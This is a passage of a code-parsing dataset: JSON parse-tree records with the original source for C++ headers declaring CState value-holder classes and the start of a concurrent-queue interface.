"end_point": {"row": 19, "column": 22}}, {"id": 68, "type": "parameter_list", "text": "(void)", "parent": 66, "children": [69], "start_point": {"row": 19, "column": 22}, "end_point": {"row": 19, "column": 28}}, {"id": 69, "type": "parameter_declaration", "text": "void", "parent": 68, "children": [70], "start_point": {"row": 19, "column": 23}, "end_point": {"row": 19, "column": 27}}, {"id": 70, "type": "primitive_type", "text": "void", "parent": 69, "children": [], "start_point": {"row": 19, "column": 23}, "end_point": {"row": 19, "column": 27}}, {"id": 71, "type": "type_identifier", "text": "virtual", "parent": 9, "children": [], "start_point": {"row": 20, "column": 1}, "end_point": {"row": 20, "column": 8}}, {"id": 72, "type": "ERROR", "text": "string", "parent": 9, "children": [73], "start_point": {"row": 20, "column": 9}, "end_point": {"row": 20, "column": 15}}, {"id": 73, "type": "identifier", "text": "string", "parent": 72, "children": [], "start_point": {"row": 20, "column": 9}, "end_point": {"row": 20, "column": 15}}, {"id": 74, "type": "function_declarator", "text": "getString()", "parent": 9, "children": [75, 76], "start_point": {"row": 20, "column": 16}, "end_point": {"row": 20, "column": 27}}, {"id": 75, "type": "identifier", "text": "getString", "parent": 74, "children": [], "start_point": {"row": 20, "column": 16}, "end_point": {"row": 20, "column": 25}}, {"id": 76, "type": "parameter_list", "text": "()", "parent": 74, "children": [], "start_point": {"row": 20, "column": 25}, "end_point": {"row": 20, "column": 27}}, {"id": 77, "type": "declaration", "text": "const;\r\n\tvirtual void setString(string value);", "parent": 9, "children": [78, 79, 81], "start_point": {"row": 20, "column": 28}, "end_point": {"row": 21, "column": 38}}, {"id": 78, "type": "type_identifier", "text": "virtual", "parent": 77, "children": [], "start_point": {"row": 21, "column": 1}, "end_point": {"row": 21, "column": 8}}, {"id": 79, "type": "ERROR", "text": "void", "parent": 77, "children": [80], "start_point": {"row": 21, "column": 9}, "end_point": {"row": 21, "column": 13}}, {"id": 80, "type": "identifier", "text": "void", "parent": 79, "children": [], "start_point": {"row": 21, "column": 9}, "end_point": {"row": 21, "column": 13}}, {"id": 81, "type": "function_declarator", "text": "setString(string value)", "parent": 77, "children": [82, 83], "start_point": {"row": 21, "column": 14}, "end_point": {"row": 21, "column": 37}}, {"id": 82, "type": "identifier", "text": "setString", "parent": 81, "children": [], "start_point": {"row": 21, "column": 14}, "end_point": {"row": 21, "column": 23}}, {"id": 83, "type": "parameter_list", "text": "(string value)", "parent": 81, "children": [84], "start_point": {"row": 21, "column": 23}, "end_point": {"row": 21, "column": 37}}, {"id": 84, "type": "parameter_declaration", "text": "string value", "parent": 83, "children": [85, 86], "start_point": {"row": 21, "column": 24}, "end_point": {"row": 21, "column": 36}}, {"id": 85, "type": "type_identifier", "text": "string", "parent": 84, "children": [], "start_point": {"row": 21, "column": 24}, "end_point": {"row": 21, "column": 30}}, {"id": 86, "type": "identifier", "text": "value", "parent": 84, "children": [], "start_point": {"row": 21, "column": 31}, "end_point": {"row": 21, "column": 36}}, {"id": 87, "type": "ERROR", "text": "};\r\n\r\nclass LIBUTILS_API CFloatState:\r\n\tpublic CState", "parent": 9, "children": [88, 91], "start_point": {"row": 22, "column": 0}, "end_point": {"row": 25, "column": 14}}, {"id": 88, "type": "ERROR", "text": "LIBUTILS_API CFloatState:", "parent": 87, "children": [89, 90], "start_point": {"row": 24, "column": 6}, "end_point": {"row": 24, "column": 31}}, {"id": 89, "type": "identifier", "text": "LIBUTILS_API", "parent": 88, "children": [], "start_point": {"row": 24, "column": 6}, "end_point": {"row": 24, "column": 18}}, {"id": 90, "type": "identifier", "text": "CFloatState", "parent": 88, "children": [], "start_point": {"row": 24, "column": 19}, "end_point": {"row": 24, "column": 30}}, {"id": 91, "type": "identifier", "text": "CState", "parent": 87, "children": [], "start_point": {"row": 25, "column": 8}, "end_point": {"row": 25, "column": 14}}, {"id": 92, "type": "declaration", "text": "float m_Value;", "parent": 9, "children": [93, 94], "start_point": {"row": 27, "column": 1}, "end_point": {"row": 27, "column": 15}}, {"id": 93, "type": "primitive_type", "text": "float", "parent": 92, "children": [], "start_point": {"row": 27, "column": 1}, "end_point": {"row": 27, "column": 6}}, {"id": 94, "type": "identifier", "text": "m_Value", "parent": 92, "children": [], "start_point": {"row": 27, "column": 7}, "end_point": {"row": 27, "column": 14}}, {"id": 95, "type": "labeled_statement", "text": "public:\r\n\tCFloatState(void);", "parent": 9, "children": [], "start_point": {"row": 28, "column": 0}, "end_point": {"row": 29, "column": 19}}, {"id": 96, "type": "call_expression", "text": "CFloatState(void)", "parent": 95, "children": [97, 98], "start_point": {"row": 29, "column": 1}, "end_point": {"row": 29, "column": 18}}, {"id": 97, "type": "identifier", "text": "CFloatState", "parent": 96, "children": [], "start_point": {"row": 29, "column": 1}, "end_point": {"row": 29, "column": 12}}, {"id": 98, "type": "argument_list", "text": "(void)", "parent": 96, "children": [99], "start_point": {"row": 29, "column": 12}, "end_point": {"row": 29, "column": 18}}, {"id": 99, "type": "identifier", "text": "void", "parent": 98, "children": [], "start_point": {"row": 29, "column": 13}, "end_point": {"row": 29, "column": 17}}, {"id": 100, "type": "declaration", "text": "virtual ~CFloatState(void);", "parent": 9, "children": [101, 102, 104], "start_point": {"row": 30, "column": 1}, "end_point": {"row": 30, "column": 28}}, {"id": 101, "type": "type_identifier", "text": "virtual", "parent": 100, "children": [], "start_point": {"row": 30, "column": 1}, "end_point": {"row": 30, "column": 8}}, {"id": 102, "type": "ERROR", "text": "~", "parent": 100, "children": [103], "start_point": {"row": 30, "column": 9}, "end_point": {"row": 30, "column": 10}}, {"id": 103, "type": "~", "text": "~", "parent": 102, "children": [], "start_point": {"row": 30, "column": 9}, "end_point": {"row": 30, "column": 10}}, {"id": 104, "type": "function_declarator", "text": "CFloatState(void)", "parent": 100, "children": [105, 106], "start_point": {"row": 30, "column": 10}, "end_point": {"row": 30, "column": 27}}, {"id": 105, "type": "identifier", "text": "CFloatState", "parent": 104, "children": [], "start_point": {"row": 30, "column": 10}, "end_point": {"row": 30, "column": 21}}, {"id": 106, "type": "parameter_list", "text": "(void)", "parent": 104, "children": [107], "start_point": {"row": 30, "column": 21}, "end_point": {"row": 30, "column": 27}}, {"id": 107, "type": "parameter_declaration", "text": "void", "parent": 106, "children": [108], "start_point": {"row": 30, "column": 22}, "end_point": {"row": 30, "column": 26}}, {"id": 108, "type": "primitive_type", "text": "void", "parent": 107, "children": [], "start_point": {"row": 30, "column": 22}, "end_point": {"row": 30, "column": 26}}, {"id": 109, "type": "function_definition", "text": "virtual string getString() const;\r\n\tvirtual void setString(string value);\r\n};\r\n\r\ntypedef CMovingAverage<float, 60> LIBUTILS_API CFloatMovingAverage;\r\n\r\nclass LIBUTILS_API CFloatAverageState:\r\n\tpublic CState\r\n{\r\n\tCFloatMovingAverage m_Value;\r\npublic:\r\n\tCFloatAverageState(void);\r\n\tvirtual ~CFloatAverageState(void);\r\n\tvirtual string getString() const;\r\n\tvirtual void setString(string value);\r\n};\r\n\r\nclass LIBUTILS_API CIntegerState:\r\n\tpublic CState\r\n{\r\n\tint m_Value;\r\npublic:\r\n\tCIntegerState(void);\r\n\tvirtual ~CIntegerState(void);\r\n\tvirtual string getString() const;\r\n\tvirtual void setString(string value);\r\n}", "parent": 9, "children": [110, 111, 113, 116, 126, 130, 137, 144, 150, 159, 174], "start_point": {"row": 31, "column": 1}, "end_point": {"row": 57, "column": 1}}, {"id": 110, "type": "type_identifier", "text": "virtual", "parent": 109, "children": [], "start_point": {"row": 31, "column": 1}, "end_point": {"row": 31, "column": 8}}, {"id": 111, "type": "ERROR", "text": "string", "parent": 109, "children": [112], "start_point": {"row": 31, "column": 9}, "end_point": {"row": 31, "column": 15}}, {"id": 112, "type": "identifier", "text": "string", "parent": 111, "children": [], "start_point": {"row": 31, "column": 9}, "end_point": {"row": 31, "column": 15}}, {"id": 113, "type": "function_declarator", "text": "getString()", "parent": 109, "children": [114, 115], "start_point": {"row": 31, "column": 16}, "end_point": {"row": 31, "column": 27}}, {"id": 114, "type": "identifier", "text": "getString", "parent": 113, "children": [], "start_point": {"row": 31, "column": 16}, "end_point": {"row": 31, "column": 25}}, {"id": 115, "type": "parameter_list", "text": "()", "parent": 113, "children": [], "start_point": {"row": 31, "column": 25}, "end_point": {"row": 31, "column": 27}}, {"id": 116, "type": "declaration", "text": "const;\r\n\tvirtual void setString(string value);", "parent": 109, "children": [117, 118, 120], "start_point": {"row": 31, "column": 28}, "end_point": {"row": 32, "column": 38}}, {"id": 117, "type": "type_identifier", "text": "virtual", "parent": 116, "children": [], "start_point": {"row": 32, "column": 1}, "end_point": {"row": 32, "column": 8}}, {"id": 118, "type": "ERROR", "text": "void", "parent": 116, "children": [119], "start_point": {"row": 32, "column": 9}, "end_point": {"row": 32, "column": 13}}, {"id": 119, "type": "identifier", "text": "void", "parent": 118, "children": [], "start_point": {"row": 32, "column": 9}, "end_point": {"row": 32, "column": 13}}, {"id": 120, "type": "function_declarator", "text": "setString(string value)", "parent": 116, "children": [121, 122], "start_point": {"row": 32, "column": 14}, "end_point": {"row": 32, "column": 37}}, {"id": 121, "type": "identifier", "text": "setString", "parent": 120, "children": [], "start_point": {"row": 32, "column": 14}, "end_point": {"row": 32, "column": 23}}, {"id": 122, "type": "parameter_list", "text": "(string value)", "parent": 120, "children": [123], "start_point": {"row": 32, "column": 23}, "end_point": {"row": 32, "column": 37}}, {"id": 123, "type": "parameter_declaration", "text": "string value", "parent": 122, "children": [124, 125], "start_point": {"row": 32, "column": 24}, "end_point": {"row": 32, "column": 36}}, {"id": 124, "type": "type_identifier", "text": "string", "parent": 123, "children": [], "start_point": {"row": 32, "column": 24}, "end_point": {"row": 32, "column": 30}}, {"id": 125, "type": "identifier", "text": "value", "parent": 123, "children": [], "start_point": {"row": 32, "column": 31}, "end_point": {"row": 32, "column": 36}}, {"id": 126, "type": "ERROR", "text": "};\r\n\r\ntypedef CMovingAverage<", "parent": 109, "children": [127, 128, 129], "start_point": {"row": 33, "column": 0}, "end_point": {"row": 35, "column": 23}}, {"id": 127, "type": "typedef", "text": "typedef", "parent": 126, "children": [], "start_point": {"row": 35, "column": 0}, "end_point": {"row": 35, "column": 7}}, {"id": 128, "type": "identifier", "text": "CMovingAverage", "parent": 126, "children": [], "start_point": {"row": 35, "column": 8}, "end_point": {"row": 35, "column": 22}}, {"id": 129, "type": "<", "text": "<", "parent": 126, "children": [], "start_point": {"row": 35, "column": 22}, "end_point": {"row": 35, "column": 23}}, {"id": 130, "type": "declaration", "text": "float, 60> LIBUTILS_API CFloatMovingAverage;", "parent": 109, "children": [131, 132, 136], "start_point": {"row": 35, "column": 23}, "end_point": {"row": 35, "column": 68}}, {"id": 131, "type": "primitive_type", "text": "float", "parent": 130, "children": [], "start_point": {"row": 35, "column": 23}, "end_point": {"row": 35, "column": 28}}, {"id": 132, "type": "ERROR", "text": ", 60> LIBUTILS_API", "parent": 130, "children": [133, 134, 135], "start_point": {"row": 35, "column": 28}, "end_point": {"row": 35, "column": 47}}, {"id": 133, "type": "number_literal", "text": "60", "parent": 132, "children": [], "start_point": {"row": 35, "column": 30}, "end_point": {"row": 35, "column": 32}}, {"id": 134, "type": ">", "text": ">", "parent": 132, "children": [], "start_point": {"row": 35, "column": 32}, "end_point": {"row": 35, "column": 33}}, {"id": 135, "type": "identifier", "text": "LIBUTILS_API", "parent": 132, "children": [], "start_point": {"row": 35, "column": 35}, "end_point": {"row": 35, "column": 47}}, {"id": 136, "type": "identifier", "text": "CFloatMovingAverage", "parent": 130, "children": [], "start_point": {"row": 35, "column": 48}, "end_point": {"row": 35, "column": 67}}, {"id": 137, "type": "declaration", "text": "class LIBUTILS_API CFloatAverageState:\r\n\tpublic CState\r\n{\r\n\tCFloatMovingAverage m_Value;", "parent": 109, "children": [138, 143], "start_point": {"row": 37, "column": 0}, "end_point": {"row": 40, "column": 29}}, {"id": 138, "type": "ERROR", "text": "LIBUTILS_API CFloatAverageState:\r\n\tpublic CState\r\n{\r\n\tCFloatMovingAverage", "parent": 137, "children": [139, 140, 141, 142], "start_point": {"row": 37, "column": 6}, "end_point": {"row": 40, "column": 20}}, {"id": 139, "type": "identifier", "text": "LIBUTILS_API", "parent": 138, "children": [], "start_point": {"row": 37, "column": 6}, "end_point": {"row": 37, "column": 18}}, {"id": 140, "type": "identifier", "text": "CFloatAverageState", "parent": 138, "children": [], "start_point": {"row": 37, "column": 19}, "end_point": {"row": 37, "column": 37}}, {"id": 141, "type": "identifier", "text": "CState", "parent": 138, "children": [], "start_point": {"row": 38, "column": 8}, "end_point": {"row": 38, "column": 14}}, {"id": 142, "type": "identifier", "text": "CFloatMovingAverage", "parent": 138, "children": [], "start_point": {"row": 40, "column": 1}, "end_point": {"row": 40, "column": 20}}, {"id": 143, "type": "identifier", "text": "m_Value", "parent": 137, "children": [], "start_point": {"row": 40, "column": 21}, "end_point": {"row": 40, "column": 28}}, {"id": 144, "type": "declaration", "text": "public:\r\n\tCFloatAverageState(void);", "parent": 109, "children": [145], "start_point": {"row": 41, "column": 0}, "end_point": {"row": 42, "column": 26}}, {"id": 145, "type": "function_declarator", "text": "CFloatAverageState(void)", "parent": 144, "children": [146, 147], "start_point": {"row": 42, "column": 1}, "end_point": {"row": 42, "column": 25}}, {"id": 146, "type": "identifier", "text": "CFloatAverageState", "parent": 145, "children": [], "start_point": {"row": 42, "column": 1}, "end_point": {"row": 42, "column": 19}}, {"id": 147, "type": "parameter_list", "text": "(void)", "parent": 145, "children": [148], "start_point": {"row": 42, "column": 19}, "end_point": {"row": 42, "column": 25}}, {"id": 148, "type": "parameter_declaration", "text": "void", "parent": 147, "children": [149], "start_point": {"row": 42, "column": 20}, "end_point": {"row": 42, "column": 24}}, {"id": 149, "type": "primitive_type", "text": "void", "parent": 148, "children": [], "start_point": {"row": 42, "column": 20}, "end_point": {"row": 42, "column": 24}}, {"id": 150, "type": "declaration", "text": "virtual ~CFloatAverageState(void);", "parent": 109, "children": [151, 152, 154], "start_point": {"row": 43, "column": 1}, "end_point": {"row": 43, "column": 35}}, {"id": 151, "type": "type_identifier", "text": "virtual", "parent": 150, "children": [], "start_point": {"row": 43, "column": 1}, "end_point": {"row": 43, "column": 8}}, {"id": 152, "type": "ERROR", "text": "~", "parent": 150, "children": [153], "start_point": {"row": 43, "column": 9}, "end_point": {"row": 43, "column": 10}}, {"id": 153, "type": "~", "text": "~", "parent": 152, "children": [], "start_point": {"row": 43, "column": 9}, "end_point": {"row": 43, "column": 10}}, {"id": 154, "type": "function_declarator", "text": "CFloatAverageState(void)", "parent": 150, "children": [155, 156], "start_point": {"row": 43, "column": 10}, "end_point": {"row": 43, "column": 34}}, {"id": 155, "type": "identifier", "text": "CFloatAverageState", "parent": 154, "children": [], "start_point": {"row": 43, "column": 10}, "end_point": {"row": 43, "column": 28}}, {"id": 156, "type": "parameter_list", "text": "(void)", "parent": 154, "children": [157], "start_point": {"row": 43, "column": 28}, "end_point": {"row": 43, "column": 34}}, {"id": 157, "type": "parameter_declaration", "text": "void", "parent": 156, "children": [158], "start_point": {"row": 43, "column": 29}, "end_point": {"row": 43, "column": 33}}, {"id": 158, "type": "primitive_type", "text": "void", "parent": 157, "children": [], "start_point": {"row": 43, "column": 29}, "end_point": {"row": 43, "column": 33}}, {"id": 159, "type": "declaration", "text": "virtual string getString() const;\r\n\tvirtual void setString(string value);", "parent": 109, "children": [160, 161, 168], "start_point": {"row": 44, "column": 1}, "end_point": {"row": 45, "column": 38}}, {"id": 160, "type": "type_identifier", "text": "virtual", "parent": 159, "children": [], "start_point": {"row": 44, "column": 1}, "end_point": {"row": 44, "column": 8}}, {"id": 161, "type": "ERROR", "text": "string getString() const;\r\n\tvirtual void", "parent": 159, "children": [162, 163, 166, 167], "start_point": {"row": 44, "column": 9}, "end_point": {"row": 45, "column": 13}}, {"id": 162, "type": "identifier", "text": "string", "parent": 161, "children": [], "start_point": {"row": 44, "column": 9}, "end_point": {"row": 44, "column": 15}}, {"id": 163, "type": "function_declarator", "text": "getString() const", "parent": 161, "children": [164, 165], "start_point": {"row": 44, "column": 16}, "end_point": {"row": 44, "column": 33}}, {"id": 164, "type": "identifier", "text": "getString", "parent": 163, "children": [], "start_point": {"row": 44, "column": 16}, "end_point": {"row": 44, "column": 25}}, {"id": 165, "type": "parameter_list", "text": "()", "parent": 163, "children": [], "start_point": {"row": 44, "column": 25}, "end_point": {"row": 44, "column": 27}}, {"id": 166, "type": "identifier", "text": "virtual", "parent": 161, "children": [], "start_point": {"row": 45, "column": 1}, "end_point": {"row": 45, "column": 8}}, {"id": 167, "type": "identifier", "text": "void", "parent": 161, "children": [], "start_point": {"row": 45, "column": 9}, "end_point": {"row": 45, "column": 13}}, {"id": 168, "type": "function_declarator", "text": "setString(string value)", "parent": 159, "children": [169, 170], "start_point": {"row": 45, "column": 14}, "end_point": {"row": 45, "column": 37}}, {"id": 169, "type": "identifier", "text": "setString", "parent": 168, "children": [], "start_point": {"row": 45, "column": 14}, "end_point": {"row": 45, "column": 23}}, {"id": 170, "type": "parameter_list", "text": "(string value)", "parent": 168, "children": [171], "start_point": {"row": 45, "column": 23}, "end_point": {"row": 45, "column": 37}}, {"id": 171, "type": "parameter_declaration", "text": "string value", "parent": 170, "children": [172, 173], "start_point": {"row": 45, "column": 24}, "end_point": {"row": 45, "column": 36}}, {"id": 172, "type": "type_identifier", "text": "string", "parent": 171, "children": [], "start_point": {"row": 45, "column": 24}, "end_point": {"row": 45, "column": 30}}, {"id": 173, "type": "identifier", "text": "value", "parent": 171, "children": [], "start_point": {"row": 45, "column": 31}, "end_point": {"row": 45, "column": 36}}, {"id": 174, "type": "ERROR", "text": "};\r\n\r\nclass LIBUTILS_API CIntegerState:\r\n\tpublic CState", "parent": 109, "children": [175, 178], "start_point": {"row": 46, "column": 0}, "end_point": {"row": 49, "column": 14}}, {"id": 175, "type": "ERROR", "text": "LIBUTILS_API CIntegerState:", "parent": 174, "children": [176, 177], "start_point": {"row": 48, "column": 6}, "end_point": {"row": 48, "column": 33}}, {"id": 176, "type": "identifier", "text": "LIBUTILS_API", "parent": 175, "children": [], "start_point": {"row": 48, "column": 6}, "end_point": {"row": 48, "column": 18}}, {"id": 177, "type": "identifier", "text": "CIntegerState", "parent": 175, "children": [], "start_point": {"row": 48, "column": 19}, "end_point": {"row": 48, "column": 32}}, {"id": 178, "type": "identifier", "text": "CState", "parent": 174, "children": [], "start_point": {"row": 49, "column": 8}, "end_point": {"row": 49, "column": 14}}, {"id": 179, "type": "declaration", "text": "int m_Value;", "parent": 109, "children": [180, 181], "start_point": {"row": 51, "column": 1}, "end_point": {"row": 51, "column": 13}}, {"id": 180, "type": "primitive_type", "text": "int", "parent": 179, "children": [], "start_point": {"row": 51, "column": 1}, "end_point": {"row": 51, "column": 4}}, {"id": 181, "type": "identifier", "text": "m_Value", "parent": 179, "children": [], "start_point": {"row": 51, "column": 5}, "end_point": {"row": 51, "column": 12}}, {"id": 182, "type": "labeled_statement", "text": "public:\r\n\tCIntegerState(void);", "parent": 109, "children": [], "start_point": {"row": 52, "column": 0}, "end_point": {"row": 53, "column": 21}}, {"id": 183, "type": "call_expression", "text": "CIntegerState(void)", "parent": 182, "children": [184, 185], "start_point": {"row": 53, "column": 1}, "end_point": {"row": 53, "column": 20}}, {"id": 184, "type": "identifier", "text": "CIntegerState", "parent": 183, "children": [], "start_point": {"row": 53, "column": 1}, "end_point": {"row": 53, "column": 14}}, {"id": 185, "type": "argument_list", "text": "(void)", "parent": 183, "children": [186], "start_point": {"row": 53, "column": 14}, "end_point": {"row": 53, "column": 20}}, {"id": 186, "type": "identifier", "text": "void", "parent": 185, "children": [], "start_point": {"row": 53, "column": 15}, "end_point": {"row": 53, "column": 19}}, {"id": 187, "type": "declaration", "text": "virtual ~CIntegerState(void);", "parent": 109, "children": [188, 189, 191], "start_point": {"row": 54, "column": 1}, "end_point": {"row": 54, "column": 30}}, {"id": 188, "type": "type_identifier", "text": "virtual", "parent": 187, "children": [], "start_point": {"row": 54, "column": 1}, "end_point": {"row": 54, "column": 8}}, {"id": 189, "type": "ERROR", "text": "~", "parent": 187, "children": [190], "start_point": {"row": 54, "column": 9}, "end_point": {"row": 54, "column": 10}}, {"id": 190, "type": "~", "text": "~", "parent": 189, "children": [], "start_point": {"row": 54, "column": 9}, "end_point": {"row": 54, "column": 10}}, {"id": 191, "type": "function_declarator", "text": "CIntegerState(void)", "parent": 187, "children": [192, 193], "start_point": {"row": 54, "column": 10}, "end_point": {"row": 54, "column": 29}}, {"id": 192, "type": "identifier", "text": "CIntegerState", "parent": 191, "children": [], "start_point": {"row": 54, "column": 10}, "end_point": {"row": 54, "column": 23}}, {"id": 193, "type": "parameter_list", "text": "(void)", "parent": 191, "children": [194], "start_point": {"row": 54, "column": 23}, "end_point": {"row": 54, "column": 29}}, {"id": 194, "type": "parameter_declaration", "text": "void", "parent": 193, "children": [195], "start_point": {"row": 54, "column": 24}, "end_point": {"row": 54, "column": 28}}, {"id": 195, "type": "primitive_type", "text": "void", "parent": 194, "children": [], "start_point": {"row": 54, "column": 24}, "end_point": {"row": 54, "column": 28}}, {"id": 196, "type": "ERROR", "text": "virtual string getString() const;\r\n\tvirtual void setString(string value);", "parent": 109, "children": [197, 198, 200, 203], "start_point": {"row": 55, "column": 1}, "end_point": {"row": 56, "column": 38}}, {"id": 197, "type": "type_identifier", "text": "virtual", "parent": 196, "children": [], "start_point": {"row": 55, "column": 1}, "end_point": {"row": 55, "column": 8}}, {"id": 198, "type": "ERROR", "text": "string", "parent": 196, "children": [199], "start_point": {"row": 55, "column": 9}, "end_point": {"row": 55, "column": 15}}, {"id": 199, "type": "identifier", "text": "string", "parent": 198, "children": [], "start_point": {"row": 55, "column": 9}, "end_point": {"row": 55, "column": 15}}, {"id": 200, "type": "function_declarator", "text": "getString()", "parent": 196, "children": [201, 202], "start_point": {"row": 55, "column": 16}, "end_point": {"row": 55, "column": 27}}, {"id": 201, "type": "identifier", "text": "getString", "parent": 200, "children": [], "start_point": {"row": 55, "column": 16}, "end_point": {"row": 55, "column": 25}}, {"id": 202, "type": "parameter_list", "text": "()", "parent": 200, "children": [], "start_point": {"row": 55, "column": 25}, "end_point": {"row": 55, "column": 27}}, {"id": 203, "type": "declaration", "text": "const;\r\n\tvirtual void setString(string value);", "parent": 196, "children": [204, 205, 207], "start_point": {"row": 55, "column": 28}, "end_point": {"row": 56, "column": 38}}, {"id": 204, "type": "type_identifier", "text": "virtual", "parent": 203, "children": [], "start_point": {"row": 56, "column": 1}, "end_point": {"row": 56, "column": 8}}, {"id": 205, "type": "ERROR", "text": "void", "parent": 203, "children": [206], "start_point": {"row": 56, "column": 9}, "end_point": {"row": 56, "column": 13}}, {"id": 206, "type": "identifier", "text": "void", "parent": 205, "children": [], "start_point": {"row": 56, "column": 9}, "end_point": {"row": 56, "column": 13}}, {"id": 207, "type": "function_declarator", "text": "setString(string value)", "parent": 203, "children": [208, 209], "start_point": {"row": 56, "column": 14}, "end_point": {"row": 56, "column": 37}}, {"id": 208, "type": "identifier", "text": "setString", "parent": 207, "children": [], "start_point": {"row": 56, "column": 14}, "end_point": {"row": 56, "column": 23}}, {"id": 209, "type": "parameter_list", "text": "(string value)", "parent": 207, "children": [210], "start_point": {"row": 56, "column": 23}, "end_point": {"row": 56, "column": 37}}, {"id": 210, "type": "parameter_declaration", "text": "string value", "parent": 209, "children": [211, 212], "start_point": {"row": 56, "column": 24}, "end_point": {"row": 56, "column": 36}}, {"id": 211, "type": "type_identifier", "text": "string", "parent": 210, "children": [], "start_point": {"row": 56, "column": 24}, "end_point": {"row": 56, "column": 30}}, {"id": 212, "type": "identifier", "text": "value", "parent": 210, "children": [], "start_point": {"row": 56, "column": 31}, "end_point": {"row": 56, "column": 36}}]}, "node_categories": {"declarations": {"functions": [22, 30, 41, 66, 74, 81, 104, 109, 113, 120, 145, 154, 163, 168, 191, 200, 207], "variables": [18, 25, 33, 44, 54, 62, 69, 77, 84, 92, 100, 107, 116, 123, 130, 137, 144, 148, 150, 157, 159, 171, 179, 187, 194, 203, 210], "classes": [], "imports": [3, 4, 6, 7], "modules": [], "enums": []}, "statements": {"expressions": [14, 58, 96, 183], "assignments": [], "loops": [], "conditionals": [10, 12, 15, 17, 19, 23, 27, 29, 31, 37, 39, 42, 45, 46, 51, 52, 53, 55, 56, 59, 61, 63, 67, 71, 73, 75, 78, 80, 82, 85, 86, 89, 90, 91, 94, 97, 99, 101, 105, 110, 112, 114, 117, 119, 121, 124, 125, 128, 135, 136, 139, 140, 141, 142, 143, 146, 151, 155, 160, 162, 164, 166, 167, 169, 172, 173, 176, 177, 178, 181, 184, 186, 188, 192, 197, 199, 201, 204, 206, 208, 211, 212], "returns": [], "exceptions": []}, "expressions": {"calls": [0], "literals": [5, 8, 36, 48, 133], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 22, "universal_type": "function", "name": "unknown", "text_snippet": "CState(void)"}, {"node_id": 30, "universal_type": "function", "name": "unknown", "text_snippet": "getString()"}, {"node_id": 41, "universal_type": "function", "name": "unknown", "text_snippet": "setString(string value)"}, {"node_id": 66, "universal_type": "function", "name": "unknown", "text_snippet": "CStringState(void)"}, {"node_id": 74, "universal_type": "function", "name": "unknown", "text_snippet": "getString()"}, {"node_id": 81, "universal_type": "function", "name": "unknown", "text_snippet": "setString(string value)"}, {"node_id": 104, "universal_type": "function", "name": "unknown", "text_snippet": "CFloatState(void)"}, {"node_id": 109, "universal_type": "function", "name": "getString", "text_snippet": "virtual string getString() const;\r\n\tvirtual void setString(string value);\r\n};\r\n\r\ntypedef CMovingAver"}, {"node_id": 113, "universal_type": "function", "name": "unknown", "text_snippet": "getString()"}, {"node_id": 120, "universal_type": "function", "name": "unknown", "text_snippet": "setString(string value)"}, {"node_id": 145, "universal_type": "function", "name": "unknown", "text_snippet": "CFloatAverageState(void)"}, {"node_id": 154, "universal_type": "function", "name": "unknown", "text_snippet": "CFloatAverageState(void)"}, {"node_id": 163, "universal_type": "function", "name": "unknown", "text_snippet": "getString() const"}, {"node_id": 168, "universal_type": "function", "name": "unknown", "text_snippet": "setString(string value)"}, {"node_id": 191, "universal_type": "function", "name": "unknown", "text_snippet": "CIntegerState(void)"}, {"node_id": 200, "universal_type": "function", "name": "unknown", "text_snippet": "getString()"}, {"node_id": 207, "universal_type": "function", "name": "unknown", "text_snippet": "setString(string value)"}], "class_declarations": [], "import_statements": [{"node_id": 3, "text": "#include \"libutils.h\"\n"}, {"node_id": 4, "text": "#include"}, {"node_id": 6, "text": "#include \"MovingAverage.h\"\r\n"}, {"node_id": 7, "text": "#include"}]}, "original_source_code": "#pragma once\r\n#include \"libutils.h\"\n#include \"MovingAverage.h\"\r\n\r\nclass LIBUTILS_API CState\r\n{\r\npublic:\r\n\tCState(void);\r\n\tvirtual ~CState(void);\r\n\tvirtual string getString() const = 0;\r\n\tvirtual void setString(string value) = 0;\r\n};\r\n\r\nclass LIBUTILS_API CStringState:\r\n\tpublic CState\r\n{\r\n\tstring m_Value;\r\npublic:\r\n\tCStringState(void);\r\n\tvirtual ~CStringState(void);\r\n\tvirtual string getString() const;\r\n\tvirtual void setString(string value);\r\n};\r\n\r\nclass LIBUTILS_API CFloatState:\r\n\tpublic CState\r\n{\r\n\tfloat m_Value;\r\npublic:\r\n\tCFloatState(void);\r\n\tvirtual ~CFloatState(void);\r\n\tvirtual string getString() const;\r\n\tvirtual void setString(string value);\r\n};\r\n\r\ntypedef CMovingAverage<float, 60> LIBUTILS_API CFloatMovingAverage;\r\n\r\nclass LIBUTILS_API CFloatAverageState:\r\n\tpublic CState\r\n{\r\n\tCFloatMovingAverage m_Value;\r\npublic:\r\n\tCFloatAverageState(void);\r\n\tvirtual ~CFloatAverageState(void);\r\n\tvirtual string getString() const;\r\n\tvirtual void setString(string value);\r\n};\r\n\r\nclass LIBUTILS_API CIntegerState:\r\n\tpublic CState\r\n{\r\n\tint m_Value;\r\npublic:\r\n\tCIntegerState(void);\r\n\tvirtual ~CIntegerState(void);\r\n\tvirtual string getString() const;\r\n\tvirtual void setString(string value);\r\n};\r\n"}
81,134
c
#pragma once #include <optional> namespace eventHorizon { template <class T> class IConcurrentQueue { public: virtual ~IConcurrentQueue() = default; virtual void enqueue(T &&element) = 0; virtual bool dequeue_wait(T &element, const std::chrono::milliseconds &duration) = 0; }; } // namespace eventHorizon
29.82
11
(translation_unit) "#pragma once\n#include <optional>\n\nnamespace eventHorizon {\ntemplate <class T> class IConcurrentQueue {\npublic:\n virtual ~IConcurrentQueue() = default;\n virtual void enqueue(T &&element) = 0;\n virtual bool dequeue_wait(T &element,\n const std::chrono::milliseconds &duration) = 0;\n};\n\n} // namespace eventHorizon\n" (preproc_call) "#pragma once\n" (preproc_directive) "#pragma" (preproc_arg) "once" (preproc_include) "#include <optional>\n" (#include) "#include" (system_lib_string) "<optional>" (function_definition) "namespace eventHorizon {\ntemplate <class T> class IConcurrentQueue {\npublic:\n virtual ~IConcurrentQueue() = default;\n virtual void enqueue(T &&element) = 0;\n virtual bool dequeue_wait(T &element,\n const std::chrono::milliseconds &duration) = 0;\n};\n\n}" (type_identifier) "namespace" (identifier) "eventHorizon" (compound_statement) "{\ntemplate <class T> class IConcurrentQueue {\npublic:\n virtual ~IConcurrentQueue() = default;\n virtual void enqueue(T &&element) = 0;\n virtual bool dequeue_wait(T &element,\n const std::chrono::milliseconds &duration) = 0;\n};\n\n}" ({) "{" (ERROR) "template <class T> class IConcurrentQueue" (binary_expression) "template <class T> class" (binary_expression) "template <class" (identifier) "template" (<) "<" (identifier) "class" (ERROR) "T" (identifier) "T" (>) ">" (identifier) "class" (identifier) "IConcurrentQueue" (compound_statement) "{\npublic:\n virtual 